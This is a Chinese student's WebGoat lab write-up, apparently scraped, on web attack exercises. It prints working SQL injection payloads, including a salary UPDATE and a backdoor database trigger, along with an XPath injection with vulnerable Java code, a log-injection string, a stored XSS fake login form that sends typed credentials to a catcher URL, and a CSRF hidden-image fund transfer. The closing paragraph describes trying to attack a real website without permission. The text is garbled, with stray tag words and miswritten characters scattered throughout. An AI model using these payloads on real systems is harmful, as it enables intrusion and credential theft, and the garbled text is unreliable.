四、发现mac也能够作,就选用了mac;具体步骤与linux相符;java
一、使用“检查”找到相应位置,修改代码,任何在命令行中使用的命令均可以在这里输入;
node
二、攻击成功:
linux
二、解决方法:使用WebScarab拦截发布请求,并用101 or 1 = 1替换101!
web
三、截图:sql
xzh%0d%0aLogin Succeeded for username: admin
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml"); File d = new File(dir); XPathFactory factory = XPathFactory.newInstance(); XPath xPath = factory.newXPath(); InputSource inputSource = new InputSource(new FileInputStream(d)); String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']"; nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
xzh ' or 1=1 or ''= '
expression = "/employees/employee[ ( loginID/text()='xzh' or '' ='') and ( passwd/text()='xzh' or ''='' ) ]"
' or 1=1 --
二、数据库
三、这个好简单,第一次啥也没参考,一次成功;express
101 or 1=1 order by salary desc
因为老板的工资最高,最终排序出来的的一个就是老板
浏览器
103 or 1=1
天然显示出了第一个员工(larry)的信息;
安全
101; update employee set salary=5218
来修改工资;101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155218@qq.com' WHERE userid = NEW.userid
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} </script> <form name="phish"><br><br><HR><H3> This feature requires account login:</H2><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"> <br><input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
三、打开时,跳出弹框;但xss毫不是仅仅是个弹框;
服务器
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
成功:
在此次实验中,我一边学习网站上的攻击方式,一边尝试攻击一个网站(故意加了一个基金讨论群,而后果不其然开始推销他们的东西),可是很遗憾没有攻击进去,让我有点意外,看来我仍是须要继续学习。而且在作其中的一个实验的时候,感受这些思路都差很少,就按照本身的思路去作,虽然没成功,可是找到了失败的缘由,也算是有收获了。最后谢谢老师一学期的指导。